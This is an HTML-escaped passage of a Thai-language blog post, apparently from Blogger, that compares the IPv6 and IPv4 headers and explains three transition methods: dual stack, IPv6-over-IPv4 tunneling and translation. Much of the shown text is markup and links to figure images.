&lt;span style=&quot;font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif;&quot;&gt;รูปที่ 4 การเปรียบเทียบ Header ระหว่าง IPv4 และ IPv6&lt;br /&gt;&lt;br /&gt;จะเห็นว่าเฮดเดอร์ IPv6 ถึงแม้จะมีขนาดยาวกว่า IPv4 แต่จะดูเรียบง่ายกว่าเฮดเดอร์ของ IPv4 มาก ทั้งนี้หากพิจารณาเฮดเดอร์ของ IPv6 เทียบกับของ IPv4 จะสามารถเปรียบเทียบความแตกต่างได้ดังนี้&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;background-color: white; clear: both; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpI-bavaAUaJquR6to0s-1frlLJvQJvkSSZgRvh-Lcg405QEDxKTOIqbFUCS7pNyZFmjzW0C1_k56f6CauLbdrKntmhOdfbT7HX_xBz1KxZH8AVFyNEyKXF8g4Sz-AXvUk7lDqVMQE4Sw/s1600/Tab1.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; color: #6699cc; float: left; margin-bottom: 1em; margin-right: 1em; text-decoration: initial;&quot;&gt;&lt;img border=&quot;0&quot; ox=&quot;true&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpI-bavaAUaJquR6to0s-1frlLJvQJvkSSZgRvh-Lcg405QEDxKTOIqbFUCS7pNyZFmjzW0C1_k56f6CauLbdrKntmhOdfbT7HX_xBz1KxZH8AVFyNEyKXF8g4Sz-AXvUk7lDqVMQE4Sw/s320/Tab1.jpg&quot; style=&quot;border: none; position: relative;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;span style=&quot;font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif;&quot;&gt;ตารางที่ 1 เปรียบเทียบโครงสร้างทางเทคนิคของ IPv6 และ IPv4&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;ตำแหน่งข้อมูลที่ตัดออก&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Header length ถูกตัดออกไป เพราะเฮดเดอร์ของ IPv6 มีขนาดคงที่ที่ 40 ไบต์ (bytes) ทำให้ประสิทธิ ภาพโดยรวมของการประมวลผลแพ็กเก็ตดีขึ้น ไม่เสียเวลาในการคำนวณขนาดของเฮดเดอร์&lt;br /&gt;&lt;br /&gt;• Identification, Flag, Flag Offset, Protocol,Options, และ Padding ถูกย้ายไปอยู่ใน ส่วนขยายของเฮดเดอร์ (extended header)เพราะถือว่าเป็นส่วนที่ไม่จำเป็นต้องประมวลผลในทุกๆ เราเตอร์&lt;br /&gt;&lt;br /&gt;• Header Checksum ถูกตัดออกเพราะว่าซ้ำซ้อนกับฟังก์ชันของโพรโตคอลในชั้นที่อยู่สูงกว่า อีกทั้งเป็นการเพิ่มประสิทธิภาพของการประมวลผลด้วย เพราะ Checksum จะต้องมีการคำนวณใหม่ที่เราเตอร์เสมอหากตัดออกก็จะลดภาระงานที่เราเตอร์ไปได้&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;ตำแหน่งข้อมูลที่ปรับเปลี่ยน&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;• Total Length เปลี่ยนมาเป็น Payload lengthเพื่อระบุขนาดของ Payload ในหน่วยไบต์ดังนั้นขนาดของ Payload สูงสุดจะเป็น 65,535 ไบต์ (bytes)&lt;br /&gt;&lt;br /&gt;• Time-To-Live (TTL) ของ IPv4 เปลี่ยนมาเป็น Hop Limit เพราะ TTL ระบุเวลาที่แพ็กเก็ตจะวนเวียนอยู่ในอินเทอร์เน็ต (หน่วยเป็นวินาที)โดยระบุว่าแต่ละเราเตอร์ต้องลด TTL ลงอย่างน้อย 1 วินาที เราเตอร์จึงลด TTL ครั้งละ 1 หน่วยเสมอแม้ว่าจะใช้เวลาประมวลผลแพ็กเก็ตน้อยกว่านั้น ทำให้ไม่ตรงกับความหมายของ TTL ดังนั้นจึงถูกเปลี่ยนเป็น Hop Limit เพื่อให้ตรงกับความหมายจริงๆ ซึ่งเหมาะสมและง่ายต่อการประมวลผล&lt;br /&gt;&lt;br /&gt;• Protocol เปลี่ยนมาเป็น Next Header ซึ่งใช้เป็นตัวบอกว่า extended header ตัวถัดไปเป็นเฮดเดอร์ ประเภทไหน เช่น ถ้าเป็น extended header ชนิด IPsec จะมีค่า Next Header = 51&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;ตำแหน่งข้อมูลที่เพิ่ม&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;• Flow Label ใช้ระบุลักษณะการไหลเวียนของทราฟฟิกระหว่างต้นทางกับปลายทาง เนื่องจากในแอปพลิเคชั่นหนึ่ง สามารถมีทราฟฟิกหลายประเภท (เช่น ภาพ เสียง ตัวอักษร ฯลฯ) และทราฟฟิกแต่ละประเภทมีความต้องการที่แตกต่างกัน Flow Label จึงมีไว้เพื่อแยกประเภทของทราฟฟิกและเพื่อให้เราเตอร์รู้ว่าควรปฏิบัติต่อทราฟฟิกแต่ละประเภทแตกต่างกัน&lt;br /&gt;&lt;br /&gt;• Type-of-Service (TOS) เปลี่ยนมาเป็น Traffic Class ซึ่งมีจำนวนบิตมากกว่า สามารถแบ่งกลุ่มและระดับความสำคัญของแต่ละแพ็กเก็ตละเอียดมากขึ้น เพื่อที่เราเตอร์จะจัดลำดับขั้นการส่งแพ็กเก็ตให้เหมาะสม&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;การปรับเปลี่ยนระบบเครือข่ายจาก IPv4 สู่ IPv6&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;การปรับเปลี่ยนในช่วงแรก การใช้งาน IPv6 อาจอยู่ในวงแคบ ดังนั้นเราต้องการเทคนิคเพื่อเชื่อมต่อเครือข่ายที่เป็น IPv6 เข้ากับเครือข่าย IPv4หรือเครือข่าย IPv6 อื่น เทคนิคการทำงานร่วมกันระหว่าง IPv4 และ IPv6 แบ่งออกเป็น 3 ประเภทด้วยกันคือ&lt;br /&gt;&lt;br /&gt;1. Dual Stacks เป็นการใช้งาน IPv4 และ IPv6 stack ควบคู่กันไป ภายในอุปกรณ์ตัวเดียวกัน Dual Stacks สามารถใช้ได้ทั้งที่ end host ที่เซิร์ฟเวอร์และที่อุปกรณ์เครือข่าย (network device) เช่น เราท์เตอร์ Dual Stacks เป็นทางออกที่ง่ายที่สุดสำหรับเครือข่ายที่ต้องการเริ่มใช้งาน IPv6 และถูกใช้อย่างแพร่หลายมากที่สุดในปัจจุบัน&lt;/span&gt;&lt;br /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;div class=&quot;separator&quot; style=&quot;background-color: white; clear: both; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;background-color: white; clear: both; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlfmc2GHsiVZI8RVnpx_b1C7wC_8VYEyKIjp-3ppVXebbt9nm1kMYTjY6cArn-2EsZZajwGe7ms2fgXYGaDzF4mDEzvhqzxc8N0Xyph7UxbWocQVai5nae5wSqg55pUhZw6MwUGw8XV78/s1600/pic5.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; color: #6699cc; float: left; margin-bottom: 1em; margin-right: 1em; text-decoration: initial;&quot;&gt;&lt;img border=&quot;0&quot; ox=&quot;true&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlfmc2GHsiVZI8RVnpx_b1C7wC_8VYEyKIjp-3ppVXebbt9nm1kMYTjY6cArn-2EsZZajwGe7ms2fgXYGaDzF4mDEzvhqzxc8N0Xyph7UxbWocQVai5nae5wSqg55pUhZw6MwUGw8XV78/s320/pic5.jpg&quot; style=&quot;border: none; position: relative;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
รูปที่ 5 การทำงานร่วมกันระหว่าง IPv4 และ IPv6 แบบ Dual Stacks&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;2. Tunneling&lt;/b&gt; เป็นการสร้างท่อในการรับส่ง IPv6 ผ่านไปบนเครือข่าย IPv4 การทำอุโมงค์ โดยทั่วไปเป็นการ encapsulate แพ็กเก็ตข้อมูลที่ต้องการส่งไว้ในอีกแพ็กเก็ตหนึ่ง เนื่องจากแพ็กเก็ตที่อยู่ภายในไม่สามารถถูกส่งไปยังปลายทางได้ จึงต้องอาศัยการห่อหุ้มด้วยแพ็กเก็ตอื่น การทำอุโมงค์เพื่อใช้งาน IPv6 นั้นก็เช่นกันใช้เมื่อเครือข่ายเชื่อมต่ออยู่ด้วยไม่สนับสนุน IPv6 จึงจำเป็นต้องหุ้มแพ็กเก็ต IPv6 ไว้ภายใต้แพ็กเก็ต IPv4 อีกที&lt;br /&gt;
&lt;br /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;div class=&quot;separator&quot; style=&quot;background-color: white; clear: both; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiV6q0SibDAw0u6IlRu8A25mpTl99swQEZwReQGWcDKnQYa1fOflSKRd2LSrIh2U8r1ee7HwmlDCDmgFj7nlP9sKWXMuK8QBNV1reE5mwLtJfuFrUvRAbAT0PxKkUcfaehJqp1fC1X5kLg/s1600/pic6.JPG&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; color: #6699cc; float: left; margin-bottom: 1em; margin-right: 1em; text-decoration: initial;&quot;&gt;&lt;img border=&quot;0&quot; ox=&quot;true&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiV6q0SibDAw0u6IlRu8A25mpTl99swQEZwReQGWcDKnQYa1fOflSKRd2LSrIh2U8r1ee7HwmlDCDmgFj7nlP9sKWXMuK8QBNV1reE5mwLtJfuFrUvRAbAT0PxKkUcfaehJqp1fC1X5kLg/s320/pic6.JPG&quot; style=&quot;border: none; position: relative;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
รูปที่ 6 การทำ IPv6 in IPv4 packet encapsulation&lt;br /&gt;
&lt;br /&gt;
การทำ Tunnel สำหรับเครือข่าย IPv6 ต้องสร้างเส้นทางการติดต่อระหว่างเครื่องที่ใช้หมายเลข IPv6 ผ่านเครือข่ายที่ใช้หมายเลข IPv4 โดยเกตเวย์ (Gateway) ของเครือข่ายของเครื่องที่ใช้หมายเลข IPv6 จะทำหน้าที่ห่อหุ้มแพ็กเก็ต IPv6 ไว้ใน IPv4 ก่อนจะส่งไปในเครือข่ายอินเทอร์เน็ตที่สนับสนุนการใช้หมายเลข IPv4 เท่านั้น โดยระหว่างทางจะดูหมายเลขต้นทางและปลายทางที่อยู่ในส่วนหัวของแพ็กเก็ต IPv4 เท่านั้น จะไม่สนใจส่วนที่อยู่ภายในเมื่อส่งไปถึงปลายทางเกตเวย์จะถอดแพ็กเก็ต IPv4 ออกให้เหลือแต่แพ็กเก็ต IPv6 แล้วส่งไปยังเครื่องที่ใช้หมายเลข IPv6 ต่อไป&lt;br /&gt;
&lt;br /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;div class=&quot;separator&quot; style=&quot;background-color: white; clear: both; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiraOj7AAB-AgJUzcO8NCM6lD7036cqmAaBrvPYqBlebVPeOtUQ_pe69rlbQPRnm8eLKH87UZ1sHUFfOtlZrZgUfq6ZdOkRO8D_fn6Te856m8JYAdnotwPTcnnRbKyjUAQ0Gj_Ty2VlWok/s1600/pic7.JPG&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; color: #6699cc; float: left; margin-bottom: 1em; margin-right: 1em; text-decoration: initial;&quot;&gt;&lt;img border=&quot;0&quot; ox=&quot;true&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiraOj7AAB-AgJUzcO8NCM6lD7036cqmAaBrvPYqBlebVPeOtUQ_pe69rlbQPRnm8eLKH87UZ1sHUFfOtlZrZgUfq6ZdOkRO8D_fn6Te856m8JYAdnotwPTcnnRbKyjUAQ0Gj_Ty2VlWok/s320/pic7.JPG&quot; style=&quot;border: none; position: relative;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;span style=&quot;font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif;&quot;&gt;รูปที่ 7 การเชื่อมต่อเครือข่ายแบบอุโมงค์ IPv6-over-IPv4 Tunnel&lt;br /&gt;&lt;br /&gt;3. Translation เป็นวิธีที่ใช้กับการสื่อสารข้ามเครือข่าย เช่น โหนดจากเครือข่าย IPv4 ต้องการคุยกับเซิร์ฟเวอร์ในเครือข่าย IPv6 หรือโหนดที่เป็น IPv6 ต้องการคุยกับเซิร์ฟเวอร์ที่เป็น IPv4 ซึ่งจะเป็นกรณีที่ต่างไปจากการใช้งาน Dual Stacks และ Tunnel การทำ Translation พูดง่ายๆ ก็คือ การแปลงข้อมูลไปมาระหว่างข้อมูลในรูปแบบของ IPv4 และ IPv6 การแปลงข้อมูลนี้สามารถทำได้สองแบบ&lt;br /&gt;&lt;br /&gt;แบบแรก คือการแปลงที่ end host โดยเพิ่ม translator function เข้าไปใน protocol stack โดยอาจอยู่ที่ network layer หรือ socket layer ก็ได้&lt;br /&gt;&lt;br /&gt;แบบสอง คือการแปลงที่ network device โดยจะต้องใช้ gateway ทำหน้าที่เป็น IPv6 – IPv4 และ IPv4 – IPv6 translator อยู่ที่ทางออกที่มีการเชื่อมต่อระหว่างเครือข่าย IPv6 และ IPv4&lt;/span&gt;&lt;br /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;div class=&quot;separator&quot; style=&quot;background-color: white; clear: both; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitskkpmE3Jh9uat1IFcLs7fs__QgNznpnJBDWOgjTgOTwpWV58cV_U6EmI-Usfi6aN7TcWTE1nA3wsHzQpdifkNVGn0g3GG0TARzMnEmBEYQG3DLursJcP48G2mEC0GrfjEaenGigfdok/s1600/pic8.JPG&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; color: #6699cc; float: left; margin-bottom: 1em; margin-right: 1em; text-decoration: initial;&quot;&gt;&lt;img border=&quot;0&quot; ox=&quot;true&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitskkpmE3Jh9uat1IFcLs7fs__QgNznpnJBDWOgjTgOTwpWV58cV_U6EmI-Usfi6aN7TcWTE1nA3wsHzQpdifkNVGn0g3GG0TARzMnEmBEYQG3DLursJcP48G2mEC0GrfjEaenGigfdok/s320/pic8.JPG&quot; style=&quot;border: none; position: relative;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot;&gt;รูปที่ 8 โครงสร้างของ Network Stacks เพื่อการแปลงข้อมูลระหว่าง IPv6 และ IPv4&lt;/span&gt;&lt;br /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;div class=&quot;separator&quot; style=&quot;background-color: white; clear: both; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEir1RAWUfzKXJlGeaK_jr6DgI7nS4KOAUgDSMoL9MFtelP9otGQX_7pwTE9_7EKI2FMgoeKoIW5fXuAS56lov_2d2YlE0TAhCnfYjZ59sRgroctoUOJDyQOUmsKUSVMpCqpMfwxW5_K4UY/s1600/pic9.JPG&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; color: #6699cc; float: left; margin-bottom: 1em; margin-right: 1em; text-decoration: initial;&quot;&gt;&lt;img border=&quot;0&quot; ox=&quot;true&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEir1RAWUfzKXJlGeaK_jr6DgI7nS4KOAUgDSMoL9MFtelP9otGQX_7pwTE9_7EKI2FMgoeKoIW5fXuAS56lov_2d2YlE0TAhCnfYjZ59sRgroctoUOJDyQOUmsKUSVMpCqpMfwxW5_K4UY/s320/pic9.JPG&quot; style=&quot;border: none; position: relative;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
